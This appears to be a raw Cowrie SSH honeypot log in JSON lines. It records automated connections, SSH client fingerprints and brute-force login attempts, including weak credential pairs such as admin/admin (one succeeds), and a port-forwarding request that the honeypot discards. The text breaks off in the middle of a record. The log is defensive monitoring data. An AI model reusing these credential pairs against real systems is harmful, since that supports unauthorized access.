{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:07:30.655212Z","src_ip":"79.116.23.158","session":"fe8bdc9cd5b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc123!!","message":"login attempt [ubuntu/abc123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:07:31.128860Z","src_ip":"79.116.23.158","session":"fe8bdc9cd5b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:07:32.239201Z","src_ip":"79.116.23.158","session":"fe8bdc9cd5b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33416,"dst_ip":"159.203.135.109","dst_port":22,"session":"da02d0fb8946","protocol":"ssh","message":"New connection: 159.203.92.129:33416 (159.203.135.109:22) [session: da02d0fb8946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:07:41.636844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:07:41.641671Z","src_ip":"159.203.92.129","session":"da02d0fb8946","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:07:41.645950Z","src_ip":"159.203.92.129","session":"da02d0fb8946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"korea2014","message":"login attempt [Data/korea2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:07:41.660026Z","src_ip":"159.203.92.129","session":"da02d0fb8946","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:07:42.666684Z","src_ip":"159.203.92.129","session":"da02d0fb8946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45560,"dst_ip":"10.17.0.5","dst_port":22,"session":"21133ecc1080","protocol":"ssh","message":"New connection: 87.251.64.176:45560 (10.17.0.5:22) [session: 21133ecc1080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:03.602230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:03.606755Z","src_ip":"87.251.64.176","session":"21133ecc1080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:03.703243Z","src_ip":"87.251.64.176","session":"21133ecc1080","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:03.991291Z","src_ip":"87.251.64.176","session":"21133ecc1080","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:04.089999Z","session":"21133ecc1080","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:04.186343Z","src_ip":"87.251.64.176","session":"21133ecc1080","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:04.285159Z","src_ip":"87.251.64.176","session":"21133ecc1080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":33980,"dst_ip":"10.17.0.5","dst_port":22,"session":"e47a6542a672","protocol":"ssh","message":"New connection: 79.116.23.158:33980 (10.17.0.5:22) [session: e47a6542a672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:24.590683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:24.600407Z","src_ip":"79.116.23.158","session":"e47a6542a672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:24.709937Z","src_ip":"79.116.23.158","session":"e47a6542a672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2019","message":"login attempt [ftpuser/ftpuser2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:25.150907Z","src_ip":"79.116.23.158","session":"e47a6542a672","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43620,"dst_ip":"159.203.135.109","dst_port":22,"session":"d34ce50da53a","protocol":"ssh","message":"New connection: 159.203.92.129:43620 (159.203.135.109:22) [session: d34ce50da53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:26.269532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:26.274646Z","src_ip":"159.203.92.129","session":"d34ce50da53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:26.278186Z","src_ip":"79.116.23.158","session":"e47a6542a672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:26.283662Z","src_ip":"159.203.92.129","session":"d34ce50da53a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"korea2015","message":"login attempt [Data/korea2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:26.299114Z","src_ip":"159.203.92.129","session":"d34ce50da53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:27.306700Z","src_ip":"159.203.92.129","session":"d34ce50da53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":52010,"dst_ip":"159.203.135.109","dst_port":22,"session":"e712fc87e500","protocol":"ssh","message":"New connection: 80.94.92.186:52010 (159.203.135.109:22) [session: e712fc87e500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:41.642254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:41.646645Z","src_ip":"80.94.92.186","session":"e712fc87e500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:41.767900Z","src_ip":"80.94.92.186","session":"e712fc87e500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:42.130947Z","src_ip":"80.94.92.186","session":"e712fc87e500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:08:43.340138Z","src_ip":"80.94.92.186","session":"e712fc87e500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50354,"dst_ip":"159.203.135.109","dst_port":22,"session":"d12735df608b","protocol":"ssh","message":"New connection: 159.203.92.129:50354 (159.203.135.109:22) [session: d12735df608b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:10.884638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:10.889329Z","src_ip":"159.203.92.129","session":"d12735df608b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:10.893600Z","src_ip":"159.203.92.129","session":"d12735df608b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"korea2016","message":"login attempt [Data/korea2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:10.907091Z","src_ip":"159.203.92.129","session":"d12735df608b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:11.913902Z","src_ip":"159.203.92.129","session":"d12735df608b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":51608,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1f856419773","protocol":"ssh","message":"New connection: 79.116.23.158:51608 (10.17.0.5:22) [session: d1f856419773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:18.753963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:18.758970Z","src_ip":"79.116.23.158","session":"d1f856419773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 